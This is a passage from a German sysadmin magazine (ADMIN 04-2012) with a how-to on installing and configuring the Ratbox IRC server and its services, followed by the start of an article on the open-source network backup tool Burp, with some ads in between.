[http:// www. vmware. com/ pdf/​<br />

snapshot2core_technote. pdf]<br />

Der Autor<br />

Dr. Udo Seidel ist eigentlich Mathe-Physik-Lehrer<br />

und seit 1996 Linux-Fan. Nach seiner Promotion<br />

hat er als Linux/​Unix-Trainer, Systemadministrator<br />

und Senior Solution Engineer gearbeitet.<br />

Heute ist er Leiter eines Linux/​Unix-Teams bei<br />

der Amadeus Data Processing GmbH in Erding.<br />

68 Ausgabe 04-2012 Admin www.admin-magazin.de


Alles zum Thema<br />

Android<br />

Neu!<br />

Die Monatszeitschrift für Android-Fans, Smartphone- und Tablet-Nutzer<br />

DigisuB: nur 39,90 € im Jahr (12 PDFs)<br />

Ihre Vorteile:<br />

+ Lesen Sie News<br />

und Artikel schon<br />

1 Woche vor dem<br />

Kiosk-Termin!<br />

+ Hardware und App-<br />

Tests, Workshops,<br />

Tipps und Tricks für<br />

Anfänger und Profis!<br />

+ Nutzbar auf Smartphone,<br />

Tablet oder<br />

Notebook/PC!<br />

Jetzt bestellen unter:<br />

www.android–user.de/digisub<br />

Telefon 07131 / 2707 274 • Fax 07131 / 2707 78 601 • E-Mail: abo@android-user.de


Know-How<br />

Ratbox IRC-<strong>Server</strong><br />

© Karel Miragaya, 123RF<br />

<strong>Eigene</strong>n IRC-<strong>Server</strong> für das Unternehmen aufsetzen<br />

Oldie but Goldie<br />

Der Betrieb eines IRC-<strong>Server</strong>s wirkt fast schon anachronistisch, doch bietet der Klassiker aus den frühen 90er-<br />

Jahren viel Funktion bei wenig Ressourcenverbrauch. Im Büroalltag ermöglicht der Internet Relay Chat (IRC) eine<br />

einfache Kommunikation über Zimmer- und Etagen-Grenzen hinweg. Martin Loschwitz<br />

Totgesagte leben länger: Das IRC-Protokoll,<br />

das während der großen Blase<br />

am Anfang dieses Jahrtausends populär<br />

war, ist etwas aus der Mode gekommen.<br />

Sehr zu Unrecht, bietet es doch eine ressourcenschonende<br />

Möglichkeit für die<br />

textbasierte Kommunikation innerhalb<br />

eines Unternehmens. Bis dato findet sich<br />

unter IRCs diversen Protokoll-Nachfolgern<br />

keines, bei dem sich annähernd so<br />

bequem auch eine größere Menge an<br />

Leuten in einem einzelnen Chatraum zusammenfinden<br />

kann. Gleichzeitig punktet<br />

IRC mit seinen verschwindend geringen<br />

Hardware-Anforderungen: Selbst<br />

auf ausgemusterten PCs lässt sich ein<br />

IRC-<strong>Server</strong> für mehrere Hundert Benutzer<br />

problemlos betreiben. Und: IRC-Clients<br />

finden sich wie Sand am Meer für alle<br />

Betriebssysteme – oft genug gehört ein<br />

IRC-Client zum Standardumfang der großen<br />

Instant-Messaging-Lösungen (Gaim,<br />

Adium X).<br />

IRC ist die Lösung<br />

Wenn Sysadmins nach Optionen suchen,<br />

um den Angestellten eines Unternehmens<br />

einen Kommunikationspfad via Chat-<br />

System zur Verfügung zu stellen, ist IRC<br />

deshalb die offensichtliche Lösung. Wer<br />

IRC eine Chance geben möchte, steht zunächst<br />

vor der Qual der Wahl hinsichtlich<br />

der <strong>Server</strong>-Software: Eben weil IRC schon<br />

ein paar Jahre auf dem Buckel hat, existieren<br />

unzählige Varianten von IRC-<strong>Server</strong>n.<br />

Fast alle stammen vom ursprünglichen<br />

Code ab, der bis heute im IRCNet<br />

[1] im Einsatz ist und dem ursprünglichen<br />

IRC-RFC [2] noch am nächsten<br />

ist. Daneben existiert eine Unzahl von<br />

Nachfolgern und Forks: Jedes der großen<br />

öffentlichen IRC-Netzwerke hat einen eigenen<br />

Fork; zusätzlich sind diverse Forks<br />

in Form von Privatprojekten im Umlauf.<br />

Der Shooting Star der IRC-<strong>Server</strong> war in<br />

den letzten Jahren Ratbox-IRCd, der im<br />

EFnet in der ursprünglichen Version zum<br />

Einsatz kommt und im bekannten OSS-<br />

IRC-Netz Freenode ebenfalls mitspielt<br />

(dort kommt »ircd‐seven« zum Einsatz,<br />

der ein Abkömmling von Charybdis ist,<br />

der schließlich einen Fork von Ratbox<br />

darstellt).<br />

Die Installation von Ratbox<br />

Wer einen IRC-<strong>Server</strong> mit Ratbox betreiben<br />

möchte, legt zunächst selbst Hand<br />

an: Die Distributionen haben schon vor<br />

70 Ausgabe 04-2012 Admin www.admin-magazin.de


Ratbox IRC-<strong>Server</strong><br />

Know-How<br />

Abbildung 1: Bei der Standard-Installation packt Ratbox-IRCd seine Dateien nach »/usr/local/ircd«; mittels<br />

entsprechender Parameter für den »configure«-Befehl lässt sich das aber ändern.<br />

Jahren den Versuch aufgegeben, für die<br />

existierenden IRC-<strong>Server</strong> fertige Pakete<br />

anzubieten – lediglich in Ubuntu ist<br />

ein Ratbox-Paket zu finden. Anderswo<br />

ist Kompilieren angesagt, doch gestaltet<br />

sich diese Übung bei Ratbox sehr angenehm.<br />

Die Ratbox-Quellen finden sich<br />

auf [3] und sind nach dem Entpacken<br />

mit dem klassischen Trikolon aus »configure«,<br />

»make« und »make install« zu<br />

installieren.<br />

Etwas seltsam mutet die Tatsache an,<br />

dass Ratbox als Default-Präfix »/usr/<br />

local/ircd« verwendet und nicht »/usr/<br />

local« (Abbildung 1). Wer den IRCd nach<br />

»/usr/local« umlegen möchte, gibt »configure«<br />

mittels »‐‐prefix=«-Parameter den<br />

passenden Parameter mit auf den Weg.<br />

Administratoren wollen meistens auch<br />

die Parameter verändern, die die maximale<br />

Länge von Nicknames im IRC-Netz<br />

und die maximale Länge von Channel-<br />

Themen (Topics) bestimmen: Ab Werk<br />

hat Ratbox hier 9 Zeichen (Nickname)<br />

und 180 Zeichen (Topic) vorgesehen,<br />

was nicht mehr zeitgemäß ist. Mit den<br />

Parametern »‐‐with‐topiclen=« und<br />

»‐‐with‐nicklen=« für »configure« lassen<br />

sich die Werte ändern. Last but not<br />

least spielt auch SSL noch eine Rolle:<br />

Ratbox kann IRC über SSL, doch ist dafür<br />

»libssl‐dev« Voraussetzung. Soll SSL also<br />

funktionieren, ist das System dementsprechend<br />

vorzubereiten.<br />

Interessant ist der »auth«-Abschnitt, denn<br />

in diesem legen Admins fest, wer sich<br />

überhaupt mit dem IRC-<strong>Server</strong> verbinden<br />

darf. Einträge dieses Typs dürfen in der<br />

Konfiguration mehrmals vorkommen, um<br />

verschiedenen IP-Bereichen oder Hosts<br />

den Zugriff zu erlauben. Interessant<br />

ist das »spoof«-Keyword: Darüber lässt<br />

sich ändern, welchem Host eine Person<br />

zugeordnet ist. Das wird innerhalb des<br />

IRC-Netzes angezeigt. Wer beispielsweise<br />

einen IRC-<strong>Server</strong> nicht nur für die interne<br />

Kommunikation im Unternehmen<br />

betreibt, sondern auch Kunden den Zuetc/ircd.conf«<br />

liegen muss. Wer früher<br />

bereits einen IRC-<strong>Server</strong> konfiguriert hat,<br />

erinnert sich an deren etwas kryptische<br />

Syntax, bestehend aus I-Lines, O-Lines,<br />

C-Lines sowie den berüchtigten K-Lines,<br />

die Benutzer vom <strong>Server</strong> aussperren. Geblieben<br />

ist von dieser Syntax in Ratbox<br />

nichts, stattdessen kommt eine Syntax<br />

mit einzelnen Konfigurations-Abschnitten<br />

zum Einsatz, die das Verständnis der<br />

Konfiguration deutlich erleichtern.<br />

Es kann an dieser Stelle nicht jeder einzelne<br />

Konfigurationsparameter diskutiert<br />

werden, aber im Quelltext-Ordner von<br />

Ratbox findet sich in »doc« eine »exmaple.<br />

conf«, die als Grundalge für » ircd.conf«<br />

gute Dienste leistet. Viele Einträge erklä-<br />

ren sich von selbst: So ist im Abschnitt<br />

»serverinfo« in der Beispieldatei der Eintrag<br />

»hades.arpa« durch den Namen zu<br />

ersetzen, den der IRC-<strong>Server</strong> haben soll<br />

(hierbei muss es sich übrigens nicht um<br />

einen per DNS auflösbaren Hostnamen<br />

handeln).<br />

Im gleichen Abschnitt ist auch der Name<br />

des IRC-Netzwerks anzugeben und eine<br />

kurze Beschreibung dieses <strong>Server</strong>s. Weiterhin<br />

sollten die Ports definiert sein, an<br />

denen Ratbox auf eingehende Verbindungen<br />

wartet (der klassische IRC-Port<br />

aus Gewohnheit ist 6667, er ist bei den<br />

meisten Clients voreingestellt).<br />

Benutzerverwaltung<br />

Die IRCd-Konfiguration<br />

Nach der Installation folgt die Konfiguration<br />

des IRC-<strong>Server</strong>s. Die spielt sich<br />

im Wesentlichen in einer Datei namens<br />

»ircd.conf« ab, die unter Verwendung<br />

des Standard-Präfix in »/usr/local/ircd/<br />

Abbildung 2: Dieser »oper«-Block in »ircd.conf« legt fest, dass der Benutzer »martin« Operator ist und<br />

praktisch alles darf.<br />

www.admin-magazin.de<br />

Admin<br />

Ausgabe 04-2012<br />

71


Know-How<br />

Ratbox IRC-<strong>Server</strong><br />

griff für Support-Zwecke erlaubt, kann<br />

die Mitarbeiter des Unternehmens so<br />

kennzeichnen.<br />

Nicht zuletzt lassen sich mittels einer<br />

»class«-Definition Benutzerklassen festlegen,<br />

denen einzelne »auth«-Abschnitte<br />

danach zuzuweisen sind. Über das<br />

System der Benutzerklassen lässt sich<br />

festlegen, wie viele Benutzer pro »auth«-<br />

Eintrag gleichzeitig mit dem <strong>Server</strong> verbunden<br />

sein dürfen, wann der <strong>Server</strong> die<br />

Verbindung kappt, wenn er keine Antwort<br />

auf seine Ping-Requests erhält, und<br />

wie groß die internen Puffer sind, die der<br />

<strong>Server</strong> pro verbundenem Client dieser<br />

Klasse anlegt.<br />

User- und Operator-Flags<br />

Das Prinzip von User-Flags und Operator-Flags<br />

existiert in IRC seit Anfang an.<br />

Flags erlauben es Benutzern, bestimmte<br />

Funktionen zu nutzen. Bei Administratoren<br />

geben die Flags Auskunft über<br />

die Befehle, die die Admins ausführen<br />

können. Die Flags werden per »flags =<br />

«-Keyword in ircd.conf je »auth«-Block<br />

oder »operator«-Block (Abbildung 2) zugeteilt.<br />

Eine ausführliche Übersicht über<br />

die Operator- und User-Flags, die in Ratbox<br />

zur Verfügung stehen, findet sich<br />

direkt in der »example.conf« im »auth«-<br />

Eintrag. Über die verfügbaren Operator-<br />

Flags gibt der exemplarische Operator-<br />

Block in der »example.conf« Auskunft.<br />

Übrigens: User-Flags lassen sich – soweit<br />

Listing 1: Beispielhafte »servers«-Klasse<br />

01 class „server“ { ping_time = 5 minutes;<br />

Abbildung 3: In der MOTD (»ircd.motd«) können Admins Texte festlegen, die die Benutzer beim Connect sehen<br />

– zum Beispiel ASCII-Art mit Figlet.<br />

sie im entsprechenden »auth«-Block erlaubt<br />

sind, von den Benutzern aktivieren.<br />

Um die Operator-Flags zu verwenden, ist<br />

es notwendig, sich als Benutzer zuerst als<br />

Operator am IRC-<strong>Server</strong> anzumelden. Der<br />

benötigte Befehl dazu ist »oper «.<br />

Die MOTD<br />

Ratbox bietet die Möglichkeit, Benutzern<br />

beim Aufbau der Verbindung mit dem<br />

IRC-<strong>Server</strong> eine »Message of the Day« anzuzeigen.<br />

In dieser lassen sich einerseits<br />

Hinweise unterbringen, die sich auf die<br />

01 /* connectfreq: only used in server classes. specifies the delay * between autoconnecting to servers.<br />

*/​connectfreq = 5 minutes;<br />

01 /* max number: the amount of servers to autoconnect to */​max_number = 1;<br />

01 /* sendq: servers need a higher sendq as they send more data */​sendq=2 megabytes; };<br />

Benutzung des IRC-<strong>Server</strong>s selbst beziehen,<br />

andererseits sind hier auch Einträge<br />

möglich, die generellen Informationscharakter<br />

haben (beispielsweise aktuelle<br />

Verlautbarungen aus dem Unternehmen).<br />

Ratbox zeigt dabei die Inhalte an, die in<br />

»ircd.motd« stehen; die Datei liegt im<br />

gleichen Ordner wie »ircd.conf«. Eine<br />

Syntax kennt »ircd.motd« nicht – viele<br />

IRC-Admins tragen hier auch einen mit<br />

»figlet« generierten Schriftzug ein, häufig<br />

den Firmennamen (Abbildung 3). Falls<br />

die MOTD nicht angezeigt wird, obwohl<br />

die Datei vorhanden ist, empfiehlt sich<br />

der Check der Berechtigungen dieser Datei:<br />

Ratbox gibt keine Fehlermeldung aus,<br />

wenn es »ircd.motd« nicht lesen kann;<br />

stattdessen zeigt es gar keine MOTD an.<br />

Die Ratbox-Services<br />

Listing 2: Beispielhafter »connect«-Block<br />

01 /* connect {}: controls servers we connect to (OLD C:, N:, H:, L:) */​connect „services.irc.hastexo.<br />

com“ { /* the name must go above */​<br />

01 /* host: the host or IP to connect to. If a hostname is used it * must match the reverse dns of the<br />

server. * / host = „10.42.0.1“;<br />

01 /* passwords: the passwords we send (OLD C:) and accept (OLD N:). * The remote server will have these<br />

passwords reversed. */​send_password = „sehrgeheim“; accept_password = „sehrgeheim“;<br />

01 /* port: the port to connect to this server on */​port = 5556;<br />

01 /* hub mask: the mask of servers that this server may hub. Multiple * entries are permitted */​hub_<br />

mask = „*“;<br />

01 /* class: the class this server is in */​class = „server“;<br />

01 /* flags: controls special options for this server * encrypted - marks the accept_password as being<br />

crypt()’d * autoconn - automatically connect to this server * compressed - compress traffic via<br />

ziplinks * topicburst - burst topics between servers */​flags = compressed, topicburst; };<br />

Die sogenannten »IRC‐Services« (Funktionserweiterungen<br />

wie Kanäle, oder<br />

der Erinnerungsdienst) finden sich mit<br />

Ausnahme des IRCnets mittlerweile bei<br />

praktisch allen IRC-Netzwerken. Im IRC-<br />

Standard selbst waren sie gar nicht vorgesehen,<br />

doch kam mit der zunehmenden<br />

Bekanntheit von IRC schnell der Wunsch<br />

nach bestimmten Features auf. So wollen<br />

viele Benutzer beispielsweise in der Lage<br />

sein, ihren Nickname innerhalb des IRC-<br />

Netzwerks zu registrieren, sodass andere<br />

ihn nicht benutzen können. Auch Kanäle<br />

sind auf diese Weise registrierbar, womit<br />

72 Ausgabe 04-2012 Admin www.admin-magazin.de


Ratbox IRC-<strong>Server</strong><br />

Know-How<br />

die IRC-Services einen sinnvollen Ersatz<br />

darstellen zu versuchen, Kanäle mit IRC-<br />

Robots zu beschlagnahmen. Für Ratbot<br />

steht eine eigene Service-Umgebung zur<br />

Verfügung, die auf den Namen » Ratbox<br />

Services« hört.<br />

Für Ubuntu steht eine paketierte Form<br />

dieser Ratbox-Services zur Verfügung, bei<br />

anderen Systemen ist wiederum Handarbeit<br />

angesagt. »configure«, » make«<br />

und »make install« genügen aber auch<br />

hier. Wer bei Ratbox andere Werte für<br />

»topiclen« und »nicklen« angegeben hat,<br />

sollte das auch für die Ratbox-Services<br />

tun, sonst lassen sich die Services nicht<br />

mit Ratbox verbinden. Wenn die Services<br />

installiert und konfiguriert sind – auch<br />

für die Services steht eine umfangreiche<br />

»example.conf« zur Verfügung, die als<br />

»ratbox‐services.conf« im Konfigurationsordner<br />

landet – ist der nächste Schritt,<br />

den eigentlichen IRCd mit den Services<br />

zu verbinden.<br />

<strong>Server</strong>-<strong>Server</strong>-Verbindung<br />

Die Möglichkeit, einen IRC-<strong>Server</strong> mit<br />

einem anderen zu verbinden, um so ein<br />

zusammenhängendes Netz zu schaffen,<br />

bieten alle IRC-<strong>Server</strong>. Service-Suites<br />

machen sich diese Eigenschaft üblicherweise<br />

zunutze; anstatt für jeden Dienst<br />

(NickServ, ChanServ, NoteServ …) einen<br />

eigenen Client mit dem <strong>Server</strong> zu<br />

verbinden, verbindet sich der Service-<br />

Daemon als IRC-<strong>Server</strong> mit einem schon<br />

vorhandenen <strong>Server</strong> im Netz und agiert<br />

anschließend auch wie ein IRC-<strong>Server</strong>.<br />

Damit das Prinzip funktioniert, sind allerdings<br />

sowohl die Konfiguration des schon<br />

laufenden Ratbox-<strong>Server</strong>s wie auch die<br />

Service-Konfiguration selbst an diese Umstände<br />

anzupassen.<br />

In »ircd.conf« von Ratbox muss erstmal<br />

eine Klasse her, in welche der IRCd <strong>Server</strong>-Verbindungen<br />

einsortiert. Kasten 1<br />

zeigt ein vollständiges Beispiel für eine<br />

solche Klasse namens »servers«.<br />

Darüber hinaus fehlt in »ircd.conf« der<br />

Block, der die Verbindung zum anderen<br />

<strong>Server</strong> erlaubt. Solche Blöcke enthalten<br />

das Schlüsselwort »connect«. Im Beispiel<br />

könnte eine Verbindung zum Services-<br />

<strong>Server</strong> aussehen wie im Kasten 2, der ein<br />

vollständiges Beispiel enthält.<br />

Insbesondere ist darauf zu achten, dass<br />

der Eintrag unmittelbar hinter »connect«<br />

mit dem Namen übereinstimmt, der als<br />

Service-Name in der »ratbox‐services.<br />

conf« steht. Die »Port«-Angabe erfüllt an<br />

dieser Stelle lediglich Alibi-Funktionen,<br />

weil die Services sich – und das ist ein<br />

Sonderfall – mit dem IRC-<strong>Server</strong> verbinden,<br />

umgekehrt funktioniert das Prinzip<br />

aber nicht.<br />

Schließlich fehlt noch der eigentliche<br />

»services«-Block, der so auszusehen hat<br />

»services.irc.hastexo.com« :<br />

service {<br />

/* name: the server name. U<br />

These may be stacked. */<br />

name = "services.irc.hastexo.com";<br />

};<br />

Services-Verbindung<br />

einrichten<br />

Schließlich müssen auch die Services<br />

wissen, wohin sie sich verbinden sollen.<br />

Im Beispiel ist in »ratbox‐services.conf«<br />

innerhalb des Blocks »serverinfo« dazu<br />

zunächst der Eintrag<br />

»name« wie in Kasten<br />

2 auf »services.irc.<br />

hastexo.com« zu setzen.<br />

Auch der Vhost<br />

ist entsprechend einzustellen.<br />

Dann braucht auch<br />

»ratbox‐services.conf«<br />

einen vollständigen<br />

Block mit »connect«-<br />

Schlüsselwort; Listing<br />

3 enthält wiederum<br />

ein passendes Beispiel.<br />

Hinter »connect« steht<br />

dabei wiederum der<br />

Name, wie er für Ratbox<br />

in »ircd.conf« angegeben<br />

ist.<br />

Ob die Konfiguration<br />

passt, können Benutzer<br />

in den <strong>Server</strong>-Messages<br />

von Ratbox sehen,<br />

wenn sie als Operator<br />

eingeloggt sind.<br />

Sobald die Services<br />

mit Ratbox verbunden<br />

sind, stehen ChanServ<br />

& Co. zur Verfügung.<br />

Fügt der Administrator<br />

des IRC-<strong>Server</strong>s in »ratbox‐services«<br />

ebenfalls<br />

noch einen »operator«-<br />

Zugang hinzu (in der kommentierten<br />

Beispiel-Datei findet sich eine Vorlage),<br />

können sich IRC-Admins im IRC auch als<br />

Admins an den Services anmelden. Wie<br />

das funktioniert, steht in [4]. (jcb) n<br />

Infos<br />

[1] IRCnet: [http:// www. ircnet. org]<br />

[2] IRC-RFC: [http:// www. irchelp. org/ irchelp/​<br />

rfc/ rfc. html]<br />

[3] Ratbox-Dowenload: [http:// www. ratbox.​<br />

org/ download. shtml]<br />

[4] Operguide: [http:// docs. ratbox. org/​<br />

svc_operguide. shtml]<br />

Listing 3: »connect«-Block für »ratbox‐services«<br />

01 connect „irc.hastexo.com“ { /* host: the host to connect<br />

to */​host = „10.42.0.1“;<br />

01 /* password: the password to use */​password =<br />

„sehrgeheim“;<br />

01 /* port: the port to connect on */​port = 5555;<br />

01 /* autoconn: auto connect to this server. default yes<br />

*/​autoconn = yes; };<br />

www.admin-magazin.de<br />

Admin<br />

Ausgabe 04-2012<br />

73


Know-how<br />

Open-Source-Backup<br />

© Kirsty Pargeter, 123RF<br />

Netzwerk-Backup mit Burp, Obnam und Backshift<br />

Wettlauf<br />

Die wohl bekanntesten freien Backup-Lösungen Bacula und Amanda bekommen Konkurrenz. Mit Burp, Obnam<br />

und Backshift beeindrucken vielversprechende Newcomer durch interessante Funktionen. Thomas Drilling<br />

Zum Programm-Editor griff Graham<br />

Keeling in erster Linie, weil er sich über<br />

die Komplexität der Netzwerk-Backup-<br />

Software Bacula ärgerte [1]. Heraus kam<br />

die kompakte Netzwerk-Backup-Lösung<br />

Burp [2], die wahlweise im Client- oder<br />

<strong>Server</strong>-Modus läuft, sich vollständig über<br />

Aufrufparameter steuern lässt und sich<br />

somit auch für den Einsatz in Skripten<br />

eignet. Der <strong>Server</strong>-Modus wird nur auf<br />

Unix-/​Linux-Maschinen unterstützt,<br />

während es von dem Client auch einen<br />

Installer für 32- und 64-Bit-Windows-<br />

Systeme gibt. Burp nutzt unter anderem<br />

Librsync zur Realisierung platzsparender<br />

Delta-Backups. Der Hauptunterschied<br />

zwischen gewöhnlichen inkrementellen<br />

und Delta-Backups zeigt sich beim Anlegen<br />

aufeinander folgender Sicherungen<br />

von Bereichen, die kontinuierlichen Änderungen<br />

unterliegen. Dann enthält jeder<br />

weitere inkrementelle Sicherungsdatensatz<br />

den vollständigen Inhalt des zuvor<br />

erstellten inkrementellen Sicherungsdatensatzes<br />

sowie alle seit der letzten<br />

Gesamtsicherung veränderten oder neu<br />

hinzugekommenen Daten. Delta-Sicherungen<br />

hin<strong>gegen</strong> enthalten ausschließlich<br />

die seit der letzten Sicherung (gesamt<br />

oder inkrementell) geänderten oder hinzugekommenen<br />

Daten.<br />

Burp-Features<br />

Zum Sichern von Windows-Hosts nutzt<br />

Burp die Windows Volume Shadow Copy<br />

Services (VSS), was unterbrechungsfreie<br />

und konsistente Backups von Windows-<br />

Rechnern gewährleistet. Außerdem unterstützt<br />

es Junctions [3], eine Art symbolischer<br />

Links bei NTFS-Dateisystemen.<br />

Auf Unix-Systemen kann Burp neben<br />

Dateien und Verzeichnissen auch Hardlinks,<br />

Symlinks, Fifos und Device Nodes<br />

über das Netzwerk sichern. Bereits seit<br />

der Version 1.1.70 vom Sommer letzten<br />

Jahres sichert Burp unter FreeBSD auch<br />

Extended Attributes und ACLs (Access<br />

Control Lists).<br />

Burp ist freie Software und steht unter<br />

der AGPLv3 auf Sourceforge [4] zum<br />

Download zur Verfügung. Die momentan<br />

stabile Version 1.3.0 datiert auf Januar<br />

diesen Jahres, während die aktuelle Version<br />

1.3.6 Ende Mai freigegeben wurde.<br />

Der zugehörige Windows-Client steht<br />

in Form einer Installer-Datei für 32 und<br />

64 Bit zur Verfügung. Optional kann der<br />

Admin die Burp-Dateien auch mit<br />

git clone git://github.com/grke/burp.git<br />

aus dem Github-Repository auschecken.<br />

Darüber hinaus ist Burp 1.3.1 seit einiger<br />

Zeit im Universe-Repository von Ubuntu<br />

Precise (12.04) enthalten und als Paket<br />

für Debian Sid verfügbar.<br />

Zum Installieren des <strong>Server</strong>s unter Linux<br />

muss der Admin zunächst die notwendigen<br />

Pakete installieren, im Beispiel auf<br />

einer Ubuntu-Distribution:<br />

sudo apt‐get install librsync‐dev U<br />

libz‐dev libssl‐dev uthash‐dev<br />

Anschließend genügt es, im Verzeichnis<br />

der entpackten Quellen »sudo ./configure<br />

; make ; make install« auszuführen.<br />

Statt »make install« kann der Admin auch<br />

»checkinstall« benutzen, um ein Installa-<br />

76 Ausgabe 04-2012 Admin www.admin-magazin.de


Open-Source-Backup<br />

Know-how<br />

tionspaket zu bauen, was eine etwaige<br />

Deinstallation vereinfacht. Zum Starten<br />

des <strong>Server</strong>s genügt das Eingeben von<br />

burp ‐c /etc/​burp/​burp-server.conf,<br />

wobei »c‐« den Pfad zur Konfigurationsdatei<br />

angibt. Die sorgt auch dafür, dass<br />

Burp beim Start die erforderlichen Zertifikate<br />

generiert (Abbildung 1).<br />

In der Default-Einstellung läuft der <strong>Server</strong><br />

als Daemon im Hintergrund, lässt sich<br />

aber mit der Option »‐F« auch im Vordergrund<br />

starten. Für einen ersten Test kann<br />

der Admin die mitgelieferte <strong>Server</strong>-Konfiguration<br />

verwenden. Der Burp-<strong>Server</strong><br />

benutzt per Default den Port 4971. Im<br />

Produktivbetrieb muss der Admin aber<br />

auf jeden Fall das Sicherungsverzeichnis<br />

anpassen (Abbildung 2).<br />

Unix-Client<br />

Jeder Client bekommt vom <strong>Server</strong> ein Unterverzeichnis<br />

im Sicherungsverzeichnis<br />

des <strong>Server</strong>s, in dem Burp die jeweils fünf<br />

letzten Sicherungen ablegt, was der Admin<br />

nach Belieben in der Vorlage der <strong>Server</strong>konfiguration<br />

»/etc/burp/burp‐server.<br />

conf« den eigenen Wünschen anpassen<br />

kann. In der Unix-Variante implementiert<br />

»make install« übrigens auch einen Cron-<br />

Job für den Client, der per Default alle 20<br />

Minuten aktiv wird. Die zu sichernden<br />

Daten legt der Admin in der jeweiligen<br />

Client-Konfigurationsdatei »/etc/burp/<br />

burp.conf« mithilfe einer Include-Anweisung<br />

fest.<br />

Mit der Anweisung »exclude Pfad« lassen<br />

sich da<strong>gegen</strong> gezielt Verzeichnisse ausschließen.<br />

Noch granularer funktioniert<br />

das Ausschließen einzelnen Dateitypen<br />

mit »exclude_ext = Typ«, etwa<br />

exclude_ext = img<br />

Zudem lassen sich mit »exclude_fs« verschiedene<br />

Arten von Meta-Daten, etwa<br />

temporäre Dateisysteme wie »proc«,<br />

»devfs«, »devpts« oder »ramfs« von der<br />

Sicherung ausschließen:<br />

exclude_fs = sysfs<br />

Ferner ist es möglich, Dateien einer bestimmten<br />

Größe auszuschließen, etwa<br />

solche mit 0 MByte. Die Burp-Konfigurationssprache<br />

stellt dazu zwei mögliche<br />

Parameter »min_file_size« oder »max_<br />

file_size« zur Verfügung:<br />

»min_file_size = 0 Mb«<br />

Spezialbehandlung für<br />

Device Nodes und FIFOs<br />

Eine Besonderheit gibt es beim Umgang<br />

mit Spezialdateien wie Fifos und Block<br />

Devices Nodes. In der Default-Einstellung<br />

sichert Burp nur die Namen der Pipes,<br />

aber nicht deren Inhalt. Daher kann der<br />

Admin mit den beiden folgenden Optionen<br />

ausgewählte (oder alle) Fifos explizit<br />

mitsichern:<br />

read_fifo=/Pfad/zum/Fifo<br />

read_all_fifos=0<br />

rz lam-0018 Anzeige_210x148:la1 lam-0010 Anzeige_210x148 18.08.2010 15:26 Uhr Seite 1<br />

E<br />

„Es gibt drei Möglichkeiten, eine Firma zu ruinieren:<br />

mit Frauen, das ist das Angenehmste;<br />

mit Spielen, das ist das Schnellste;<br />

mit Computern, das ist das Sicherste.“<br />

Oswald Dreyer-Eimbcke, deutscher Unternehmer<br />

Es gibt allerdings auch eine ganze Reihe von Möglichkeiten, mit IT zum Unternehmenserfolg beizutragen.<br />

Und genau damit beschäftigen wir uns seit dem Jahr 1989. In weit über 100.000 Stunden IT-Training,<br />

technischem Consulting und Software-Entwicklung haben wir eine ganze Menge Know-how entwickelt.<br />

Dieses umfassende Wissen kommt Ihnen heute zugute, wenn wir Sie in allen IT-Fragen unterstützen.<br />

Wie Sie von unserem Know-how profitieren, erfahren Sie unter www.lamarc.com.<br />

Rufen Sie uns an +49 611 26 00 23 oder schicken eine E-Mail an info@lamarc.com<br />

Seminare OnSite Coaching Netzwerk Consulting System Consulting Developer Support Software-Entwicklung<br />

www.admin-magazin.de<br />

Admin<br />

Ausgabe 04-2012<br />

77


Know-how<br />

Open-Source-Backup<br />

Das Gleiche gilt für die Block Device Nodes,<br />

die mit den Einstellungen<br />

read_blockdev=/Pfad/zum/blockdev<br />

read_all_blockdevs=0<br />

ins Backup aufgenommen werden.<br />

Windows Client<br />

Die Installer-Datei des Windows-Client<br />

für 32 oder 64 Bit findet man wie erwähnt<br />

im Unterverzeichnis der jeweiligen<br />

Burp-Version auf Souceforge in der<br />

Rubrik »Files«. Unter Windows genügt<br />

das Doppelklicken der Installer-Datei, um<br />

den Client zu installieren. Ein Assistent<br />

erfragt dabei die IP-Adresse des <strong>Server</strong>s<br />

und möchte einen Client-Namen nebst<br />

Passwort festlegen, der dem <strong>Server</strong> zum<br />

Identifizieren des Clients dient (Abbildung<br />

3).<br />

Analog zum Cronjob des Unix-Clients legt<br />

der Installer der Windows-Version im Folgeschritt<br />

einen Windows-Scheduler-Task<br />

mit einer Poll-Frequenz von 20 Minuten<br />

an und führt die Installation dann zu<br />

Ende, leider ohne die Möglichkeit, den<br />

Ort für die Konfigurationsdatei zu ändern.<br />

Sie findet sich anschließend unter<br />

»C:\Programme\Burp\burp.conf«.<br />

Ähnlich wie bei der Unix-Version ist das<br />

zu sichernde Verzeichnis in der Default-<br />

Konfiguration »C:\Users« ebenfalls per<br />

Include-Anweisung anzugeben. Hat der<br />

Admin weitere zu sichernde Verzeichnisse<br />

mit zusätzlichen Include-oder Exclude-<br />

Zeilen angegeben, steht der Verwendung<br />

des Clients nichts mehr im Wege.<br />

Burp verwenden<br />

Wie erwähnt lässt sich Burp komplett<br />

über die Kommandozeile steuern und in<br />

eigenen Skripten verwenden. Entsprechend<br />

umfangreich ist der Parametersatz.<br />

Die einfachste Möglichkeit, am Client ein<br />

Backup »b« anzustoßen, besteht in der<br />

Eingabe von<br />

burp ‐a b<br />

wobei der Pameter »‐a« für „action“<br />

steht und neben »b« (für „backup“)<br />

die Optionen »t« („timed backup“), »r«<br />

(„restore“), »l« („list“), »L« („long list“),<br />

»v« („verify“) und »e« („estimate“) kennt.<br />

So zeigt etwa »burp ‐s l« die auf dem<br />

<strong>Server</strong> vorhandenen Backups an („list“),<br />

während » burp ‐a l ‐b 2« alle Dateien<br />

im Backup mit der Nummer 2 auflistet.<br />

Möchte der Administrator alle Dateien<br />

in allen vorhandenen Backups sehen,<br />

gibt er »burp ‐a l ‐b a« ein. Selbstverständlich<br />

sind auch komplexere<br />

Abfragen möglich. So listet der Aufruf<br />

burp ‐a l ‐b 3 ‐r Regulärer Ausdruck<br />

sämtliche Dateien im Backup Nummer 3,<br />

die auf den mit »‐r« angegebenen „regulären<br />

Ausdruck“ passen. Selbstverständlich<br />

lassen sich reguläre Ausdrücke auch mit<br />

Restore verwenden. Der Befehl<br />

burp ‐a r ‐b 2 ‐r Regulärer AusdruckU<br />

‐d /Restore‐Dir<br />

spielt sämtliche Dateien des Backups<br />

Nummer 2, die auf den angegebenen<br />

regulären Ausdruck passen, in das mit<br />

»‐d« angegebene Verzeichnis zurück.<br />

Genauso einfach lässt sich das zuletzt<br />

durchgeführte Backup mit »burp ‐a v«<br />

überprüfen.<br />

Bare Metal Restore von<br />

Windows 7<br />

Als praxisnahes Beispiel beschreibt Graham<br />

Keeling den Workaround für ein<br />

komplettes Bare Metal Restore eines<br />

Windows-7-PCs unter Zuhilfenahme des<br />

Automated Installation Kit (AIK) für Windows<br />

7, das in der aktuellen Version 3.0<br />

